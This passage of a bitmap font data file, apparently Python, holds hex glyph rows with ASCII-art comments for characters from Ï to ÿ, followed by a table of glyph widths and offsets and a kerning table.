0x7F, 0xF8, # OOOOOOOOOOOO
0x02, 0x1C, # O OOO
0x0D, 0x0C, # OO O OO
0x08, 0x8C, # O O OO
0x18, 0xC8, # OO OO O
0x18, 0xF0, # OO OOOO
0x18, 0xB0, # OO O OO
0x1F, 0xB8, # OOOOOO OOO
0x0F, 0x18, # OOOO OO
0x00, 0x1C, # OOO
0x00, 0x0C, # OO
0x00, 0x08, # O
0x00, 0x00, #
# @5280 'Ï' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x40, 0x00, # O
0xC0, 0x00, # OO
0xE0, 0x00, # OOO
0x63, 0xC0, # OO OOOO
0x77, 0xE0, # OOO OOOOOO
0x34, 0x60, # OO O OO
0x3C, 0x60, # OOOO OO
0x4C, 0x60, # O OO OO
0xC4, 0x40, # OO O O
0xC2, 0xC0, # OO O OO
0xE1, 0x00, # OOO O
0x7F, 0xF8, # OOOOOOOOOOOO
0x3E, 0x7C, # OOOOO OOOOO
0x00, 0x1C, # OOO
# @5312 'Ð' (14 pixels wide)
0x00, 0x00, #
0x00, 0x0C, # OO
0x00, 0x1C, # OOO
0x00, 0x1C, # OOO
0x0F, 0x18, # OOOO OO
0x1F, 0xD8, # OOOOOOO OO
0x18, 0x50, # OO O O
0x18, 0x30, # OO OO
0x18, 0x58, # OO O OO
0x0E, 0x98, # OOO O OO
0x03, 0x18, # OO OO
0x0E, 0x18, # OOO OO
0x3E, 0x38, # OOOOO OOO
0xF9, 0xF0, # OOOOO OOOOO
0x60, 0xE0, # OO OOO
0x00, 0x00, #
# @5344 'Ñ' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xC0, 0x00, # OO
0xE0, 0x00, # OOO
0xE0, 0x00, # OOO
0x63, 0xC0, # OO OOOO
0x6F, 0xE0, # OO OOOOOOO
0x28, 0x60, # O O OO
0x30, 0x60, # OO OO
0x68, 0x60, # OO O OO
0x67, 0xC0, # OO OOOOO
0x63, 0x00, # OO OO
0x61, 0xC0, # OO OOO
0x71, 0xF0, # OOO OOOOO
0x3E, 0x7C, # OOOOO OOOOO
0x1C, 0x18, # OOO OO
# @5376 'Ò' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x08, # O
0x00, 0x0C, # OO
0x00, 0x1C, # OOO
0x0F, 0x18, # OOOO OO
0x1F, 0xB8, # OOOOOO OOO
0x18, 0xB0, # OO O OO
0x18, 0xF0, # OO OOOO
0x18, 0x48, # OO O O
0x08, 0x8C, # O O OO
0x0D, 0x0C, # OO O OO
0x02, 0x1C, # O OOO
0x7F, 0xF8, # OOOOOOOOOOOO
0xF9, 0xF0, # OOOOO OOOOO
0xE0, 0x00, # OOO
# @5408 'Ó' (14 pixels wide)
0x00, 0x00, #
0x00, 0x1C, # OOO
0x3E, 0x7C, # OOOOO OOOOO
0x7F, 0xF8, # OOOOOOOOOOOO
0xE1, 0x00, # OOO O
0xC2, 0xC0, # OO O OO
0xC4, 0x40, # OO O O
0x4C, 0x60, # O OO OO
0x3C, 0x60, # OOOO OO
0x34, 0x60, # OO O OO
0x77, 0xE0, # OOO OOOOOO
0x63, 0xC0, # OO OOOO
0xE0, 0x00, # OOO
0xC0, 0x00, # OO
0x40, 0x00, # O
0x00, 0x00, #
# @5440 'Ô' (14 pixels wide)
0x00, 0x00, #
0x60, 0xE0, # OO OOO
0xF9, 0xF0, # OOOOO OOOOO
0x3E, 0x38, # OOOOO OOO
0x0E, 0x18, # OOO OO
0x03, 0x18, # OO OO
0x0E, 0x98, # OOO O OO
0x18, 0x58, # OO O OO
0x18, 0x30, # OO OO
0x18, 0x50, # OO O O
0x1F, 0xD8, # OOOOOOO OO
0x0F, 0x18, # OOOO OO
0x00, 0x1C, # OOO
0x00, 0x1C, # OOO
0x00, 0x0C, # OO
0x00, 0x00, #
# @5472 'Õ' (16 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x07, 0xFF, # OOOOOOOOOOO
0x0F, 0xFF, # OOOOOOOOOOOO
0x18, 0x03, # OO OO
0x32, 0x13, # OO O O OO
0x63, 0xF3, # OO OOOOOO OO
0xC1, 0xE3, # OO OOOO OO
0x61, 0xE3, # OO OOOO OO
0x33, 0x33, # OO OO OO OO
0x18, 0x03, # OO OO
0x0F, 0xFF, # OOOOOOOOOOOO
0x07, 0xFF, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5504 'Ö' (16 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xF0, # OOOOOOOOOOOO
0xC0, 0x18, # OO OO
0xC8, 0x4C, # OO O O OO
0xCF, 0xC6, # OO OOOOOO OO
0xC7, 0x83, # OO OOOO OO
0xC7, 0x86, # OO OOOO OO
0xCC, 0xCC, # OO OO OO OO
0xC0, 0x18, # OO OO
0xFF, 0xF0, # OOOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5536 '×' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x80, # O
0x01, 0x00, # O
0x07, 0x00, # OOO
0x1A, 0x00, # OO O
0x22, 0x00, # O O
0xFC, 0x00, # OOOOOO
0x3E, 0x00, # OOOOO
0x1E, 0x00, # OOOO
0x07, 0x00, # OOO
0x01, 0x00, # O
0x00, 0x80, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5568 'Ø' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x80, 0x00, # O
0x40, 0x00, # O
0x70, 0x00, # OOO
0x2C, 0x00, # O OO
0x22, 0x00, # O O
0x1F, 0x80, # OOOOOO
0x3E, 0x00, # OOOOO
0x3C, 0x00, # OOOO
0x70, 0x00, # OOO
0x40, 0x00, # O
0x80, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5600 'Ù' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x04, 0x00, # O
0x0E, 0x00, # OOO
0x1D, 0x00, # OOO O
0x1D, 0x00, # OOO O
0x3C, 0x80, # OOOO O
0x3B, 0x80, # OOO OOO
0x60, 0xC0, # OO OO
0x80, 0x20, # O O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5632 'Ú' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x80, 0x20, # O O
0x60, 0xC0, # OO OO
0x3B, 0x80, # OOO OOO
0x27, 0x80, # O OOOO
0x17, 0x00, # O OOO
0x17, 0x00, # O OOO
0x0E, 0x00, # OOO
0x04, 0x00, # O
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5664 'Û' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x6F, 0xC0, # OO OOOOOO
0xCF, 0xE0, # OO OOOOOOO
0x80, 0x00, # O
0x80, 0x00, # O
0x80, 0x00, # O
0xCF, 0xE0, # OO OOOOOOO
0x6F, 0xC0, # OO OOOOOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5696 'Ü' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x7E, 0xC0, # OOOOOO OO
0xFE, 0x60, # OOOOOOO OO
0x00, 0x20, # O
0x00, 0x20, # O
0x00, 0x20, # O
0xFE, 0x60, # OOOOOOO OO
0x7E, 0xC0, # OOOOOO OO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5728 'Ý' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x00, # OOOOO
0x31, 0x80, # OO OO
0x60, 0xC0, # OO OO
0xC0, 0x60, # OO OO
0xF1, 0xE0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0x71, 0xC0, # OOO OOO
0x31, 0x80, # OO OO
0x11, 0x00, # O O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5760 'Þ' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x11, 0x00, # O O
0x31, 0x80, # OO OO
0x71, 0xC0, # OOO OOO
0xF1, 0xE0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0xF1, 0xE0, # OOOO OOOO
0xC0, 0x60, # OO OO
0x60, 0xC0, # OO OO
0x31, 0x80, # OO OO
0x1F, 0x00, # OOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5792 'ß' (12 pixels wide)
0x00, 0x00, #
0x04, 0x00, # O
0x08, 0x00, # O
0x10, 0x00, # O
0x20, 0x00, # O
0x40, 0x00, # O
0xFF, 0xF0, # OOOOOOOOOOOO
0xFF, 0xF0, # OOOOOOOOOOOO
0x40, 0x00, # O
0x20, 0x00, # O
0x10, 0x00, # O
0x08, 0x00, # O
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5824 'à' (12 pixels wide)
0x00, 0x00, #
0x02, 0x00, # O
0x01, 0x00, # O
0x00, 0x80, # O
0x00, 0x40, # O
0x00, 0x20, # O
0xFF, 0xF0, # OOOOOOOOOOOO
0xFF, 0xF0, # OOOOOOOOOOOO
0x00, 0x20, # O
0x00, 0x40, # O
0x00, 0x80, # O
0x01, 0x00, # O
0x02, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5856 'á' (12 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x06, 0x00, # OO
0x0F, 0x00, # OOOO
0x16, 0x80, # O OO O
0x26, 0x40, # O OO O
0x46, 0x20, # O OO O
0x86, 0x10, # O OO O
0x06, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x00, 0x00, #
0x00, 0x00, #
# @5888 'â' (12 pixels wide)
0x00, 0x00, #
0x06, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x06, 0x00, # OO
0x86, 0x10, # O OO O
0x46, 0x20, # O OO O
0x26, 0x40, # O OO O
0x16, 0x80, # O OO O
0x0F, 0x00, # OOOO
0x06, 0x00, # OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5920 'ã' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0x00, # OOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xE0, 0x00, # OOO
0xD0, 0x00, # OO O
0xC8, 0x00, # OO O
0xC4, 0x00, # OO O
0xC2, 0x00, # OO O
0xC1, 0x00, # OO O
0x40, 0x80, # O O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5952 'ä' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x7F, 0x80, # OOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0x03, 0x80, # OOO
0x05, 0x80, # O OO
0x09, 0x80, # O OO
0x11, 0x80, # O OO
0x21, 0x80, # O OO
0x41, 0x80, # O OO
0x81, 0x00, # O O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @5984 'å' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x81, 0x00, # O O
0x82, 0x00, # O O
0x84, 0x00, # O O
0x88, 0x00, # O O
0x90, 0x00, # O O
0xA0, 0x00, # O O
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x00, # OOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6016 'æ' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x40, 0x80, # O O
0x20, 0x80, # O O
0x10, 0x80, # O O
0x08, 0x80, # O O
0x04, 0x80, # O O
0x02, 0x80, # O O
0xFF, 0x80, # OOOOOOOOO
0x7F, 0x80, # OOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6048 'ç' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x07, 0x00, # OOO
0x0E, 0x00, # OOO
0x1C, 0x00, # OOO
0x38, 0x00, # OOO
0x7F, 0xF8, # OOOOOOOOOOOO
0xFF, 0xF8, # OOOOOOOOOOOOO
0x7F, 0xF8, # OOOOOOOOOOOO
0x38, 0x00, # OOO
0x1C, 0x00, # OOO
0x0E, 0x00, # OOO
0x07, 0x00, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6080 'è' (13 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x07, 0x00, # OOO
0x03, 0x80, # OOO
0x01, 0xC0, # OOO
0x00, 0xE0, # OOO
0xFF, 0xF0, # OOOOOOOOOOOO
0xFF, 0xF8, # OOOOOOOOOOOOO
0xFF, 0xF0, # OOOOOOOOOOOO
0x00, 0xE0, # OOO
0x01, 0xC0, # OOO
0x03, 0x80, # OOO
0x07, 0x00, # OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6112 'é' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x04, 0x00, # O
0x0E, 0x00, # OOO
0x1F, 0x00, # OOOOO
0x3F, 0x80, # OOOOOOO
0x7F, 0xC0, # OOOOOOOOO
0xEE, 0xE0, # OOO OOO OOO
0xCE, 0x60, # OO OOO OO
0x8E, 0x20, # O OOO O
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x00, 0x00, #
# @6144 'ê' (11 pixels wide)
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x0E, 0x00, # OOO
0x8E, 0x20, # O OOO O
0xCE, 0x60, # OO OOO OO
0xEE, 0xE0, # OOO OOO OOO
0x7F, 0xC0, # OOOOOOOOO
0x3F, 0x80, # OOOOOOO
0x1F, 0x00, # OOOOO
0x0E, 0x00, # OOO
0x04, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6176 'ë' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0x00, # OOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0xC0, # OOOOOOOOOO
0xF0, 0x00, # OOOO
0xF8, 0x00, # OOOOO
0xFC, 0x00, # OOOOOO
0xEE, 0x00, # OOO OOO
0xE7, 0x00, # OOO OOO
0x63, 0x80, # OO OOO
0x21, 0xC0, # O OOO
0x00, 0x80, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6208 'ì' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x3F, 0xC0, # OOOOOOOO
0x7F, 0xC0, # OOOOOOOOO
0xFF, 0xC0, # OOOOOOOOOO
0x03, 0xC0, # OOOO
0x07, 0xC0, # OOOOO
0x0F, 0xC0, # OOOOOO
0x1D, 0xC0, # OOO OOO
0x39, 0xC0, # OOO OOO
0x71, 0x80, # OOO OO
0xE1, 0x00, # OOO O
0x40, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6240 'í' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x20, 0x40, # O O
0x60, 0xE0, # OO OOO
0xE1, 0xC0, # OOO OOO
0xE3, 0x80, # OOO OOO
0xE7, 0x00, # OOO OOO
0xEE, 0x00, # OOO OOO
0xFC, 0x00, # OOOOOO
0xFF, 0xC0, # OOOOOOOOOO
0xFF, 0x80, # OOOOOOOOO
0xFF, 0x00, # OOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6272 'î' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x40, 0x80, # O O
0xE0, 0xC0, # OOO OO
0x70, 0xE0, # OOO OOO
0x38, 0xE0, # OOO OOO
0x1C, 0xE0, # OOO OOO
0x0E, 0xE0, # OOO OOO
0x07, 0xE0, # OOOOOO
0x7F, 0xE0, # OOOOOOOOOO
0x3F, 0xE0, # OOOOOOOOO
0x1F, 0xE0, # OOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6304 'ï' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x08, 0x00, # O
0x18, 0x00, # OO
0x28, 0x00, # O O
0x4F, 0xE0, # O OOOOOOO
0x80, 0x20, # O O
0x80, 0x20, # O O
0x4F, 0xE0, # O OOOOOOO
0x28, 0x00, # O O
0x18, 0x00, # OO
0x08, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6336 'ð' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x02, 0x00, # O
0x03, 0x00, # OO
0xFE, 0x80, # OOOOOOO O
0x80, 0x40, # O O
0x80, 0x40, # O O
0xFE, 0x80, # OOOOOOO O
0x03, 0x00, # OO
0x02, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6368 'ñ' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x0C, 0x00, # OO
0x12, 0x00, # O O
0x21, 0x00, # O O
0x40, 0x80, # O O
0xF3, 0xC0, # OOOO OOOO
0x12, 0x00, # O O
0x12, 0x00, # O O
0x12, 0x00, # O O
0x12, 0x00, # O O
0x12, 0x00, # O O
0x1E, 0x00, # OOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6400 'ò' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1E, 0x00, # OOOO
0x12, 0x00, # O O
0x12, 0x00, # O O
0x12, 0x00, # O O
0x12, 0x00, # O O
0x12, 0x00, # O O
0xF3, 0xC0, # OOOO OOOO
0x40, 0x80, # O O
0x21, 0x00, # O O
0x12, 0x00, # O O
0x0C, 0x00, # OO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6432 'ó' (14 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x08, 0x40, # O O
0x18, 0x60, # OO OO
0x2F, 0xD0, # O OOOOOO O
0x40, 0x08, # O O
0x80, 0x04, # O O
0x40, 0x08, # O O
0x2F, 0xD0, # O OOOOOO O
0x18, 0x60, # OO OO
0x08, 0x40, # O O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6464 'ô' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x08, 0x00, # O
0x14, 0x00, # O O
0x22, 0x00, # O O
0x41, 0x00, # O O
0xE3, 0x80, # OOO OOO
0x22, 0x00, # O O
0x22, 0x00, # O O
0x22, 0x00, # O O
0x22, 0x00, # O O
0xE3, 0x80, # OOO OOO
0x41, 0x00, # O O
0x22, 0x00, # O O
0x14, 0x00, # O O
0x08, 0x00, # O
# @6496 'õ' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFC, 0x00, # OOOOOO
0x88, 0x00, # O O
0x88, 0x00, # O O
0x84, 0x00, # O O
0xE2, 0x00, # OOO O
0x91, 0x00, # O O O
0x08, 0x80, # O O
0x05, 0x00, # O O
0x02, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6528 'ö' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x1F, 0x80, # OOOOOO
0x08, 0x80, # O O
0x08, 0x80, # O O
0x10, 0x80, # O O
0x23, 0x80, # O OOO
0x44, 0x80, # O O O
0x88, 0x00, # O O
0x50, 0x00, # O O
0x20, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6560 '÷' (9 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x06, 0x00, # OO
0x09, 0x00, # O O
0x10, 0x80, # O O
0xA0, 0x80, # O O O
0xC1, 0x00, # OO O
0x82, 0x00, # O O
0x84, 0x00, # O O
0x88, 0x00, # O O
0xFC, 0x00, # OOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6592 'ø' (10 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x18, 0x00, # OO
0x24, 0x00, # O O
0xC2, 0x00, # OO O
0x41, 0x40, # O O O
0x20, 0xC0, # O OO
0x10, 0x40, # O O
0x08, 0x40, # O O
0x04, 0x40, # O O
0x0F, 0xC0, # OOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6624 'ù' (6 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0xFC, # OOOOOO
0x84, # O O
0x84, # O O
0xFC, # OOOOOO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @6640 'ú' (4 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0xF0, # OOOO
0x90, # O O
0x90, # O O
0xF0, # OOOO
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @6656 'û' (7 pixels wide)
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
0x64, # OO O
0x6E, # OO OOO
0x38, # OOO
0x38, # OOO
0xEE, # OOO OOO
0x44, # O O
0x00, #
0x00, #
0x00, #
0x00, #
0x00, #
# @6672 'ü' (10 pixels wide)
0x00, 0x00, #
0x00, 0x40, # O
0x00, 0x80, # O
0x01, 0x00, # O
0x02, 0x00, # O
0x04, 0x00, # O
0xCC, 0x00, # OO OO
0x78, 0x00, # OOOO
0x70, 0x00, # OOO
0x30, 0x00, # OO
0x20, 0x00, # O
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6704 'ý' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0xC0, 0x60, # OO OO
0xDB, 0x60, # OO OO OO OO
0xDB, 0x60, # OO OO OO OO
0xCC, 0x60, # OO OO OO
0xCB, 0x60, # OO O OO OO
0xD9, 0x60, # OO OO O OO
0xD0, 0x60, # OO O OO
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6736 'þ' (11 pixels wide)
0x00, 0x00, #
0x00, 0x00, #
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0xC0, 0xE0, # OO OOO
0xC1, 0x60, # OO O OO
0xC2, 0x60, # OO O OO
0xF6, 0x60, # OOOO OO OO
0xDC, 0x60, # OO OOO OO
0xC8, 0x60, # OO O OO
0xC0, 0x60, # OO OO
0xFF, 0xE0, # OOOOOOOOOOO
0xFF, 0xE0, # OOOOOOOOOOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
# @6768 'ÿ' (14 pixels wide)
0x00, 0x00, #
0x00, 0xF8, # OOOOO
0x03, 0xFC, # OOOOOOOO
0x3F, 0x44, # OOOOOO O O
0xEE, 0x44, # OOO OOO O O
0x4B, 0xFC, # O O OOOOOOOO
0x2E, 0x44, # O OOO O O
0xFE, 0x44, # OOOOOOO O O
0x4A, 0x44, # O O O O O
0x2E, 0xFC, # O OOO OOOOOO
0xEF, 0xFC, # OOO OOOOOOOOOO
0x43, 0x04, # O OO O
0x3E, 0x1C, # OOOOO OOO
0x00, 0x00, #
0x00, 0x00, #
0x00, 0x00, #
)
descriptors = (
(14,0),# !
(15,32),# "
(17,64),# #
(19,112),# $
(12,160),# %
(17,192),# &
(5,240),# '
(14,256),# (
(11,288),# )
(14,320),# *
(14,352),# +
(15,384),# ,
(15,416),# -
(19,448),# .
(19,496),# /
(14,544),# 0
(18,576),# 1
(9,624),# 2
(9,656),# 3
(11,688),# 4
(7,720),# 5
(6,736),# 6
(13,752),# 7
(12,784),# 8
(14,816),# 9
(11,848),# :
(12,880),# ;
(11,912),# <
(11,944),# =
(11,976),# >
(13,1008),# ?
(13,1040),# @
(6,1072),# A
(10,1088),# B
(8,1120),# C
(8,1136),# D
(13,1152),# E
(13,1184),# F
(6,1216),# G
(6,1232),# H
(11,1248),# I
(11,1280),# J
(12,1312),# K
(11,1344),# L
(14,1376),# M
(8,1408),# N
(10,1424),# O
(14,1456),# P
(11,1488),# Q
(10,1520),# R
(7,1552),# S
(11,1568),# T
(9,1600),# U
(10,1632),# V
(10,1664),# W
(8,1696),# X
(9,1712),# Y
(10,1744),# Z
(11,1776),# [
(11,1808),# \
(12,1840),# ]
(16,1872),# ^
(13,1904),# _
(12,1936),# `
(14,1968),# a
(12,2000),# b
(11,2032),# c
(12,2064),# d
(13,2096),# e
(11,2128),# f
(14,2160),# g
(13,2192),# h
(9,2224),# i
(15,2256),# j
(18,2288),# k
(9,2336),# l
(12,2368),# m
(9,2400),# n
(11,2432),# o
(11,2464),# p
(11,2496),# q
(11,2528),# r
(4,2560),# s
(9,2576),# t
(12,2608),# u
(11,2640),# v
(6,2672),# w
(13,2688),# x
(13,2720),# y
(10,2752),# z
(11,2784),# {
(11,2816),# |
(7,2848),# }
(7,2864),# ~
(6,2880),#
(11,2896),#
(11,2928),#
(11,2960),#
(11,2992),#
(11,3024),#
(11,3056),#
(11,3088),#
(11,3120),#
(11,3152),#
(11,3184),#
(11,3216),#
(11,3248),#
(11,3280),#
(11,3312),#
(11,3344),#
(11,3376),#
(11,3408),#
(11,3440),#
(11,3472),#
(11,3504),#
(10,3536),#
(11,3568),#
(14,3600),#
(14,3632),#
(14,3664),#
(14,3696),#
(14,3728),#
(14,3760),#
(14,3792),#
(14,3824),#
(2,3856),#
(4,3872),#
(2,3888),#
(11,3904),# ¡
(11,3936),# ¢
(11,3968),# £
(12,4000),# ¤
(11,4032),# ¥
(12,4064),# ¦
(4,4096),# §
(11,4112),# ¨
(7,4144),# ©
(11,4160),# ª
(8,4192),# «
(7,4208),# ¬
(2,4224),#
(11,4240),# ®
(11,4272),# ¯
(11,4304),# °
(11,4336),# ±
(11,4368),# ²
(8,4400),# ³
(11,4416),# ´
(11,4448),# µ
(9,4480),# ¶
(11,4512),# ·
(11,4544),# ¸
(11,4576),# ¹
(11,4608),# º
(11,4640),# »
(11,4672),# ¼
(11,4704),# ½
(11,4736),# ¾
(11,4768),# ¿
(11,4800),# À
(11,4832),# Á
(11,4864),# Â
(11,4896),# Ã
(11,4928),# Ä
(11,4960),# Å
(11,4992),# Æ
(13,5024),# Ç
(13,5056),# È
(13,5088),# É
(13,5120),# Ê
(14,5152),# Ë
(15,5184),# Ì
(14,5216),# Í
(14,5248),# Î
(14,5280),# Ï
(14,5312),# Ð
(14,5344),# Ñ
(14,5376),# Ò
(14,5408),# Ó
(14,5440),# Ô
(16,5472),# Õ
(16,5504),# Ö
(9,5536),# ×
(9,5568),# Ø
(11,5600),# Ù
(11,5632),# Ú
(11,5664),# Û
(11,5696),# Ü
(11,5728),# Ý
(11,5760),# Þ
(12,5792),# ß
(12,5824),# à
(12,5856),# á
(12,5888),# â
(9,5920),# ã
(9,5952),# ä
(9,5984),# å
(9,6016),# æ
(13,6048),# ç
(13,6080),# è
(11,6112),# é
(11,6144),# ê
(10,6176),# ë
(10,6208),# ì
(11,6240),# í
(11,6272),# î
(11,6304),# ï
(10,6336),# ð
(10,6368),# ñ
(10,6400),# ò
(14,6432),# ó
(9,6464),# ô
(9,6496),# õ
(9,6528),# ö
(9,6560),# ÷
(10,6592),# ø
(6,6624),# ù
(4,6640),# ú
(7,6656),# û
(10,6672),# ü
(11,6704),# ý
(11,6736),# þ
(14,6768),# ÿ
)
kerning = (
(6,14,10,8,12,14,13,14,13,14,14,12,12,10,10,14,14,14,14,13,14,14,11,13,13,14,9,14,14,12,7,13,13,14,12,12,14,13,10,14,14,13,13,14,10,12,14,14,11,12,11,12,13,14,12,12,13,13,14,12,13,14,13,12,13,11,13,12,13,10,13,13,13,10,11,13,13,14,14,14,14,14,10,11,11,10,11,14,14,14,13,12,14,14,14,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,12,9,10,9,10,10,12,10,12,13,13,13,13,13,13,11,14,11,10,11,13,12,12,12,13,11,10,14,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,9,14,12,10,12,9,10,13,14,14,13,13,14,10,14,9,14,13,11,14,10,13,10,14,13,13,13,13,12,11,11,10,14,14,14,13,11,11,11,13,14,14,13,14,12,13,12,11,11,12,14,10,10,11,11,11,12,11,14,14,14,),
